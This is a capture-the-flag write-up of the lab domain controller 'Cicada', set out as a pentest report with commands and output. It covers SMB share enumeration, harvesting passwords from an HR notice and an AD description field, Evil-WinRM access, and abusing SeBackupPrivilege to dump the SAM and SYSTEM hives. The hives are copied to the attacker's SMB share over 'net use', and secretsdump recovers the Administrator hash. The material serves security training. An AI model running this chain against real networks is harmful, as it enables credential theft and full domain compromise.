Easy Windows AD box. An SMB share leaks the new hire default password, a user description hides another, and Backup Operators dumps SAM for the admin hash.
Cicada is an easy Windows domain controller that never needs an exploit, only credentials that keep falling out of the environment. A guest readable HR share holds Notice from HR.txt with the default password handed to new employees, and an RID bruteforce through NetExec builds a user list that a password spray narrows to michael.wrightson. Enumerating users as that account reveals david.orelious storing a password in the AD description field, which grants read access to the DEV share and a PowerShell backup script containing the cleartext password for emily.oscars. BloodHound shows emily.oscars can PSRemote onto the DC, and once in over Evil-WinRM the account holds SeBackupPrivilege as a member of Backup Operators. Saving the SAM and SYSTEM hives, pulling them down and running secretsdump yields the built-in Administrator NT hash, which a pass-the-hash WinRM login turns into full control of the domain controller.
Explanation: During initial reconnaissance of the SMB server, it was possible to locate a text file in one of the shares. This text file contains a message from the internal team, and contains a default password that is assigned to new employees’ accounts.
With this information, we performed username enumeration via RID bruteforcing and performed a password spraying attack. The user michael.wrightson was found to be using the default password assigned by the organization.
Steps to Reproduce:
Enumerate shares:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ smbclient -L //cicada.htb/
Password for [WORKGROUP\kali]:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
DEV Disk
HR Disk
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to cicada.htb failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
Connect to the HR share, get the text file and read it
┌──(kali㉿kali)-[~]
└─$ smbclient //cicada.htb/HR
Password for [WORKGROUP\kali]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu Mar 14 08:29:09 2024
.. D 0 Thu Mar 14 08:21:29 2024
Notice from HR.txt A 1266 Wed Aug 28 13:31:48 2024
4168447 blocks of size 4096. 409599 blocks available
smb: \> get "Notice from HR.txt"
getting file \Notice from HR.txt of size 1266 as Notice from HR.txt (1.5 KiloBytes/sec) (average 1.5 KiloBytes/sec)
smb: \> exit
┌──(kali㉿kali)-[~]
└─$ cat Notice\ from\ HR.txt
Dear new hire!
Welcome to Cicada Corp! We're thrilled to have you join our team. As part of our security protocols, it's essential that you change your default password to something unique and secure.
Your default password is: Cicada$M6Corpb*@Lp#nZp!8
To change your password:
1. Log in to your Cicada Corp account** using the provided username and the default password mentioned above.
2. Once logged in, navigate to your account settings or profile settings section.
3. Look for the option to change your password. This will be labeled as "Change Password".
4. Follow the prompts to create a new password**. Make sure your new password is strong, containing a mix of uppercase letters, lowercase letters, numbers, and special characters.
5. After changing your password, make sure to save your changes.
Remember, your password is a crucial aspect of keeping your account secure. Please do not share your password with anyone, and ensure you use a complex password.
If you encounter any issues or need assistance with changing your password, don't hesitate to reach out to our support team at support@cicada.htb.
Thank you for your attention to this matter, and once again, welcome to the Cicada Corp team!
Best regards,
Cicada Corp
We tried to enumerate usernames through Kerberos using the tool kerbrute, but got no success.
Performing an RID bruteforce via the tool NetExec, we got some valid usernames
Explanation: During further enumeration, we noticed that user “CICADA\david.orelious” used their user’s description field to note down their password. We tested the uncovered password, and it is valid, allowing us to take control over this user.
Steps to Reproduce:
Enumerate users using previously found credentials
1
2
3
4
5
6
7
8
9
10
11
12
13
$ nxc smb CICADA-DC.cicada.htb -u 'michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8' --users
SMB 10.10.11.35 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.35 445 CICADA-DC [+] cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8
SMB 10.10.11.35 445 CICADA-DC -Username- -Last PW Set- -BadPW- -Description-
SMB 10.10.11.35 445 CICADA-DC Administrator 2024-08-26 20:08:03 0 Built-in account for administering the computer/domain
SMB 10.10.11.35 445 CICADA-DC Guest 2024-08-28 17:26:56 0 Built-in account for guest access to the computer/domain
SMB 10.10.11.35 445 CICADA-DC krbtgt 2024-03-14 11:14:10 0 Key Distribution Center Service Account
SMB 10.10.11.35 445 CICADA-DC john.smoulder 2024-03-14 12:17:29 0
SMB 10.10.11.35 445 CICADA-DC sarah.dantelia 2024-03-14 12:17:29 0
SMB 10.10.11.35 445 CICADA-DC michael.wrightson 2024-03-14 12:17:29 0
SMB 10.10.11.35 445 CICADA-DC david.orelious 2024-03-14 12:17:29 0 Just in case I forget my password is aRt$Lp#7t*VQ!3
SMB 10.10.11.35 445 CICADA-DC emily.oscars 2024-08-22 21:20:17 0
SMB 10.10.11.35 445 CICADA-DC [*] Enumerated 8 local users: CICADA
From the output above, we can see the description field for the user ‘david.orelious’. Testing the password:
Explanation: After obtaining the credentials for “david.orelious”, we were able to abuse their privileges to access the “DEV” SMB share. Inside this share we located a powershell script that performs backup activities. The script contains the hardcoded password for the user “emily.oscars”.
Steps to Reproduce:
Obtain the credentials for “david.orelious” following previous steps
Access the “DEV” share and download the backup script
Explanation: User “emily.oscars” is member of the “Backup Operators” group. By compromising this user, it was possible to abuse their membership in this privileged group in order to create a backup of SAM and SYSTEM registry hives, and compromise password hashes for built-in accounts such as “Administrator”. Using a “pass-the-hash” technique, it was possible to log in to the administrator account without needing to know their cleartext password value.
Reading the output in Bloodhound, we notice that “emily.oscars” has the CanPSRemote privilege over CICADA-DC.cicada.htb machine. Log in using evil-winrm:
$ evil-winrm -i cicada.htb -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents>
Save the registry hives:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA> reg save hklm\sam c:\Windows\Tasks\SAM
The operation completed successfully.
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA> reg save hklm\system c:\Windows\Tasks\SYSTEM
The operation completed successfully.
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA> cd C:\windows\tasks
*Evil-WinRM* PS C:\windows\tasks> dir
Directory: C:\windows\tasks
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 10/28/2024 12:40 AM 49152 SAM
-a---- 10/28/2024 12:40 AM 18518016 SYSTEM
net use B: /user:bsec \\10.10.14.4\bsec 'BehindSecurity2024!'
The command completed successfully.
Copy the registry hives to your SMB mount share
1
2
3
4
*Evil-WinRM* PS C:\windows\tasks> copy SAM B:\SAM
*Evil-WinRM* PS C:\windows\tasks> copy SYSTEM B:\SYSTEM
*Evil-WinRM* PS C:\windows\tasks> net use B: /delete
B: was deleted successfully.
Locally, use secretsdump to uncover password hashes
1
2
3
4
5
6
7
8
9
10
$ impacket-secretsdump -sam SAM -system SYSTEM LOCAL
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: 0x3c2b033757a49110a9ee680b46e8d620
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b87e7c93a3e8a0ea4a581937016f341:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[*] Cleaning up...